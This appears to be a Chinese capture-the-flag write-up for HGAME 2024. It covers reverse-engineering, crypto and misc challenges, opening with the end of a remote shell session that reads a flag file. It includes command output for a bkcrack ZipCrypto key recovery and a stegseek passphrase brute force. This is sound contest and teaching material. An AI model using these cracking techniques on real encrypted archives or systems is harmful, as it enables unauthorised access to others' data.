/bin/sh: 1: whoami: not found
$ cat /flag
hgame{0e67c884a988192e3ff7d19e31f49525161cc271}
$
[*] Got EOF while reading in interactive
$
[*] Closed connection to 47.100.137.175 port 31709
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024$
hgame{0e67c884a988192e3ff7d19e31f49525161cc271}
写了篇文章讲这道题:https://csharpermantle.github.io/ctf/2024/02/04/a-single-fmtstr-away-from-shell.html
Reverse
ezASM
check_flag:
mov al, byte [flag + esi]
xor al, 0x22
cmp al, byte [c + esi]
jne failure_check
inc esi
cmp esi, 33
jne check_flag
简单异或。
(pwnenv) PS D:\Workspace\rev\hgame_2024> python
Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> cipher = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
>>> plain = list(map(lambda x: chr((x ^ 0x22) & 0xFF), cipher))
>>> print("".join(plain))
hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}
>>>
hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}
ezPYC
直接 pycdc 失败。
(pwnenv) PS D:\Workspace\rev\hgame_2024\ezPYC> D:\bdist\pyinstxtractor-ng.exe .\ezPYC.exe
[+] Processing .\ezPYC.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 1335196 bytes
[+] Found 10 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: ezPYC.pyc
[!] Unmarshalling FAILED. Cannot extract PYZ-00.pyz. Extracting remaining files.
[+] Successfully extracted pyinstaller archive: .\ezPYC.exe
You can now use a python decompiler on the pyc files within the extracted directory
(pwnenv) PS D:\Workspace\rev\hgame_2024\ezPYC>
(pwnenv) PS D:\Workspace\rev\hgame_2024\ezPYC> D:\bdist\pycdc\Release\pycdc.exe .\ezPYC.exe_extracted\ezPYC.pyc
# Source Generated with Decompyle++
# File: ezPYC.pyc (Python 3.11)
Unsupported opcode: JUMP_BACKWARD
...
直接看字节码。
(pwnenv) PS D:\Workspace\rev\hgame_2024\ezPYC> D:\bdist\pycdc\Release\pycdas.exe .\ezPYC.exe_extracted\ezPYC.pyc
ezPYC.pyc (Python 3.11)
[Code]
File Name: ezPYC.py
Object Name: <module>
Qualified Name: <module>
Arg Count: 0
Pos Only Arg Count: 0
KW Only Arg Count: 0
Stack Size: 5
Flags: 0x00000000
[Names]
'flag'
'c'
'input'
'range'
'i'
'ord'
'print'
'exit'
[Locals+Names]
[Constants]
...
[Disassembly]
0 RESUME 0
2 BUILD_LIST 0
4 LOAD_CONST 0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
6 LIST_EXTEND 1
8 STORE_NAME 0: flag
10 BUILD_LIST 0
12 LOAD_CONST 1: (1, 2, 3, 4)
14 LIST_EXTEND 1
16 STORE_NAME 1: c
18 PUSH_NULL
20 LOAD_NAME 2: input
22 LOAD_CONST 2: 'plz input flag:'
24 PRECALL 1
28 CALL 1
38 STORE_NAME 2: input
40 PUSH_NULL
42 LOAD_NAME 3: range
44 LOAD_CONST 3: 0
46 LOAD_CONST 4: 36
48 LOAD_CONST 5: 1
50 PRECALL 3
54 CALL 3
64 GET_ITER
66 FOR_ITER 62 (to 192)
68 STORE_NAME 4: i
70 PUSH_NULL
72 LOAD_NAME 5: ord
74 LOAD_NAME 2: input
76 LOAD_NAME 4: i
78 BINARY_SUBSCR
88 PRECALL 1
92 CALL 1
102 LOAD_NAME 1: c
104 LOAD_NAME 4: i
106 LOAD_CONST 6: 4
108 BINARY_OP 6 (%)
112 BINARY_SUBSCR
122 BINARY_OP 12 (^)
126 LOAD_NAME 0: flag
128 LOAD_NAME 4: i
130 BINARY_SUBSCR
140 COMPARE_OP 3 (!=)
146 POP_JUMP_FORWARD_IF_FALSE 21 (to 190)
148 PUSH_NULL
150 LOAD_NAME 6: print
152 LOAD_CONST 7: 'Sry, try again...'
154 PRECALL 1
158 CALL 1
168 POP_TOP
170 PUSH_NULL
172 LOAD_NAME 7: exit
174 PRECALL 0
178 CALL 0
188 POP_TOP
190 JUMP_BACKWARD 63
192 PUSH_NULL
194 LOAD_NAME 6: print
196 LOAD_CONST 8: 'Wow!You know a little of python reverse'
198 PRECALL 1
202 CALL 1
212 POP_TOP
214 LOAD_CONST 9: None
216 RETURN_VALUE
(pwnenv) PS D:\Workspace\rev\hgame_2024\ezPYC>
可以看到一个简单的异或校验循环。
解密代码如下:
PS D:\Workspace\rev\hgame_2024> python
Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> flag = [
... 87,
... ...
... 2]
>>> c = [
... 1,
... 2,
... 3,
... 4]
>>> plain = list(map(lambda p: chr((p[1] ^ c[p[0] % 4]) & 0xFF), enumerate(flag)))
>>> print("".join(plain))
VIDAR{Python_R3vers3_1s_1nter3st1ng!}
>>>
VIDAR{Python_R3vers3_1s_1nter3st1ng!}
ezUPX
看来没修改过任何特征。
直接 dump 出来然后解密即可。注意密文常量数组的长度。
PS D:\Workspace\rev\hgame_2024\ezUPX> python
Python 3.11.6 (tags/v3.11.6:8b6ee5b, Oct 2 2023, 14:57:12) [MSC v.1935 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> cipher = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13, 0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06, 0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
>>> plain = list(map(lambda x: chr((x ^ 0x32) & 0xFF), cipher))
>>> print("".join(plain))
VIDAR{Wow!Y0u_kn0w_4_l1ttl3_0f_UPX!}22222222222
>>>
VIDAR{Wow!Y0u_kn0w_4_l1ttl3_0f_UPX!}
ezIDA
无壳,直接 ida。
hgame{W3lc0me_T0_Th3_World_of_Rev3rse!}
Crypto
ezRSA
题目描述:一个简单的 RSA
观察代码我们发现题目给出了以下信息:$p^q \mod n$和$q^p \mod n$。费马小定理告诉我们:
\[\forall\ \text{prime}\ p,\ a^p \equiv a \pmod p\]因此:
\[p^q \equiv p \pmod q\] \[q^p \equiv q \pmod p\]显然
\[p^q \equiv p \pmod{pq=n}\] \[q^p \equiv q \pmod{pq=n}\]那么就等于直接泄漏了 p 和 q。
from Crypto.Util.number import *
from pwn import *
leak1 = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2 = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c = 10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
e = 0x10001
p = leak1
q = leak2
n = p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
success(long_to_bytes(m))
(pwnenv) PS D:\Workspace\rev\hgame_2024> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/ezRSA/sol.py
D:\Workspace\pwnenv\Lib\site-packages\pwnlib\log.py:347: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'success')
[+] hgame{F3rmat_l1tt1e_the0rem_is_th3_bas1s}
(pwnenv) PS D:\Workspace\rev\hgame_2024>
hgame{F3rmat_l1tt1e_the0rem_is_th3_bas1s}
ezPRNG
一个简单的随机数
观察到 PRNG 的算法中没有下标操作,可以(经过一些小的等价变换)使用 z3。
import typing
import uuid
import z3
from pwn import *
UNK_WIDTH = 32
OUTPUT = [
"1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010",
"0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001",
"1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001",
"0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011",
]
OUTPUT_ARRS = list(map(lambda l: list(map(lambda c: int(c, 2), l)), OUTPUT))
MASK = z3.BitVecVal(0b10001001000010000100010010001001, UNK_WIDTH)
def prng(r: z3.BitVecRef, mask: z3.BitVecRef) -> tuple[z3.BitVecRef, z3.BitVecRef]:
next_r = r << 1
i = r & mask
next_bit = z3.BitVecVal(0, UNK_WIDTH)
for j in range(32):
next_bit ^= z3.LShR(i, j) & 1
next_r ^= next_bit
return (next_r, next_bit)
solver = z3.Solver()
finals = ""
for i in range(4):
info(f"Part {i}: generating constraints")
solver.reset()
x = z3.BitVec(f"x_{i}", UNK_WIDTH)
out = ""
for j in range(1000):
(x, next_bit) = prng(x, MASK)
solver.add(next_bit == OUTPUT_ARRS[i][j])
info(f"Part {i}: modeling")
if solver.check() != z3.sat:
error("Unsat")
exit(1)
result: typing.Any = 0
m = solver.model()
for d in m.decls():
result = m[d].as_long() # type: ignore
break
result_hex = hex(result)[2:].zfill(8)
success(f"Part {i}: {result_hex}")
finals += result_hex
flag = str(uuid.UUID(finals))
success(f"flag = hgame{{{flag}}}")
(pwnenv) PS D:\Workspace\rev\hgame_2024> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/ezPRNG/sol.py
[*] Part 0: generating constraints
[*] Part 0: modeling
[+] Part 0: fbbbee82
[*] Part 1: generating constraints
[*] Part 1: modeling
[+] Part 1: 3f434f91
[*] Part 2: generating constraints
[*] Part 2: modeling
[+] Part 2: 93379078
[*] Part 3: generating constraints
[*] Part 3: modeling
[+] Part 3: 80e4191a
[+] flag = hgame{fbbbee82-3f43-4f91-9337-907880e4191a}
(pwnenv) PS D:\Workspace\rev\hgame_2024>
hgame{fbbbee82-3f43-4f91-9337-907880e4191a}
奇怪的图片
一些奇怪的图片
xor,差分。人肉处理。
需要注意的是得到字符串的第一个字符是缺失的。需要补上。
hgame{1adf_17eb_803c}
ezMath
一个简单的数学题
Pell’s equation,丢番图方程的特例
from Crypto.Cipher import AES
from Crypto.Util.number import *
from pwn import *
def pad(x):
return x + b"\x00" * (16 - len(x) % 16)
enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"
y = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680
key = pad(long_to_bytes(y))[:16]
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(enc)
success(dec)
(pwnenv) PS D:\Workspace\rev\hgame_2024> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/ezMath/sol.py
D:\Workspace\pwnenv\Lib\site-packages\pwnlib\log.py:347: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
self._log(logging.INFO, message, args, kwargs, 'success')
[+] hgame{G0od!_Yo3_k1ow_C0ntinued_Fra3ti0ns!!!!!!!}
(pwnenv) PS D:\Workspace\rev\hgame_2024>
hgame{G0od!_Yo3_k1ow_C0ntinued_Fra3ti0ns!!!!!!!}
Misc
签到
关注“凌武科技”微信公众号,发送“HGAME2024”获得 Flag!
hgame{welc0me_t0_HGAME_2024}
SignIn
换个方式签个到 flag 格式:’hgame{[A-Z_]+}’
将图片高缩至 150px 即可。
hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}
simple_attack
怎么解开这个压缩包呢?
已知明文的 zipcrypto 攻击。
用 bandizip 以不同压缩程度(1-3)压缩题目给的图片,然后依次尝试。
PS D:\bdist\bkcrack-1.5.0-win64> .\bkcrack.exe -L D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_1.zip
bkcrack 1.5.0 - 2022-07-07
Archive: D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_1.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 None Deflate 2420fda1 12556509 12546538 103223779_p0.jpg
PS D:\bdist\bkcrack-1.5.0-win64> .\bkcrack.exe -L D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_2.zip
bkcrack 1.5.0 - 2022-07-07
Archive: D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_2.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 None Deflate 2420fda1 12556509 12550329 103223779_p0.jpg
PS D:\bdist\bkcrack-1.5.0-win64> .\bkcrack.exe -L D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_3.zip
bkcrack 1.5.0 - 2022-07-07
Archive: D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_3.zip
Index Encryption Compression CRC32 Uncompressed Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
0 None Deflate 2420fda1 12556509 12550329 103223779_p0.jpg
PS D:\bdist\bkcrack-1.5.0-win64> .\bkcrack.exe -C D:\Workspace\rev\hgame_2024\simple_attack\src\attachment.zip -c 103223779_p0.jpg -P D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_1.zip -p 103223779_p0.jpg
bkcrack 1.5.0 - 2022-07-07
[09:11:12] Z reduction using 1048569 bytes of known plaintext
0.4 % (3720 / 1048569)
[09:11:13] Attack on 1 Z values at index 1044858
100.0 % (1 / 1)
[09:11:13] Could not find the keys.
PS D:\bdist\bkcrack-1.5.0-win64> .\bkcrack.exe -C D:\Workspace\rev\hgame_2024\simple_attack\src\attachment.zip -c 103223779_p0.jpg -P D:\Workspace\rev\hgame_2024\simple_attack\src\103223779_p0_2.zip -p 103223779_p0.jpg
bkcrack 1.5.0 - 2022-07-07
[09:11:17] Z reduction using 1048569 bytes of known plaintext
10.3 % (107723 / 1048569)
[09:11:20] Attack on 254 Z values at index 941867
Keys: e423add9 375dcd1c 1bce583e
83.1 % (211 / 254)
[09:11:20] Keys
e423add9 375dcd1c 1bce583e
PS D:\bdist\bkcrack-1.5.0-win64> .\bkcrack.exe -C D:\Workspace\rev\hgame_2024\simple_attack\src\attachment.zip -k e423add9 375dcd1c 1bce583e -U D:\Workspace\rev\hgame_2024\simple_attack\easy.zip easy
bkcrack 1.5.0 - 2022-07-07
[09:12:11] Writing unlocked archive D:\Workspace\rev\hgame_2024\simple_attack\easy.zip with password "easy"
100.0 % (2 / 2)
Wrote unlocked archive.
PS D:\bdist\bkcrack-1.5.0-win64>
From Base64, 2 more - CyberChef
解码并 OCR 得到 flag。
hgame{s1mple_attack_for_zip}
希儿希儿希尔
Ch405 是一名忠实的希儿厨,于是他出了一道这样的题,不过他似乎忘了这个加密的名字不是希儿了(x 虽然经常有人叫错 补充: 图片打不开是正常现象,需要修复 最终得到的大写字母请用 hgame{}包裹
文件尾部有一个嵌入的 zip。打开是一串大写字母。结合标题猜测是希尔密码。
PNG 头需要修复。爆破一下吧。
import itertools as it
import zlib
from pwn import *
from tqdm import tqdm
ORIG_WH = b"\x00\x00\x05\xa4"
HEADER_TEMPLATE_1 = b"\x49\x48\x44\x52"
HEADER_TEMPLATE_2 = b"\x08\x02\x00\x00\x00"
TARGET_CRC32 = u32(b"\x12\x1b\x80\x4d", endian="big")
for w, h in tqdm(list(it.product(range(1, 2000), range(1, 2000)))):
header = (
HEADER_TEMPLATE_1
+ p32(w, endian="big")
+ p32(h, endian="big")
+ HEADER_TEMPLATE_2
)
crc32 = zlib.crc32(header) & 0xFFFFFFFF
if crc32 == TARGET_CRC32:
success(f"Correct size: w {w}; h {h}")
break
(pwnenv) PS D:\Workspace\rev\hgame_2024> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/seele/brute.py
70%|██▊ | 2781275/3996001 [00:50<00:22, 53684.26it/s]
[+] Correct size: w 1394; h 1999
70%|██▊ | 2786605/3996001 [00:50<00:21, 54983.86it/s]
(pwnenv) PS D:\Workspace\rev\hgame_2024>
那么修复文件。
然后提取 LSB,得到 key matrix。
提取的 zip 中是密文。解密即可。
hgame{DISAPPEARINTHESEAOFBUTTERFLY}
来自星尘的问候
一个即将发售的游戏的主角薇 ^3 带来了一条消息。这段消息隐藏在加密的图片里 但即使解开了图片的六位弱加密,看到的也是一张迷惑的图片。 也许游戏的官网上有这种文字的记录? 补充:flag 格式为
hgame\{[a-z0-9_]+\}
可以抓到网站上的资源。
从上到下:A-Z;a-z;0-9。
没用啊,图片里面也没隐写啊
找点工具
生成六位数密码:
#!/usr/bin/env bash
for i in $(seq -w 000000 999999); do
echo $i
done
还真行
┌──(kali㉿kali)-[~]
└─$ stegseek --crack ~/secret.jpg -wl ~/wordlist.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "123456"
[i] Original filename: "secret.zip".
[i] Extracting to "secret.jpg.out".
┌──(kali㉿kali)-[~]
└─$
hgame{welc0me!}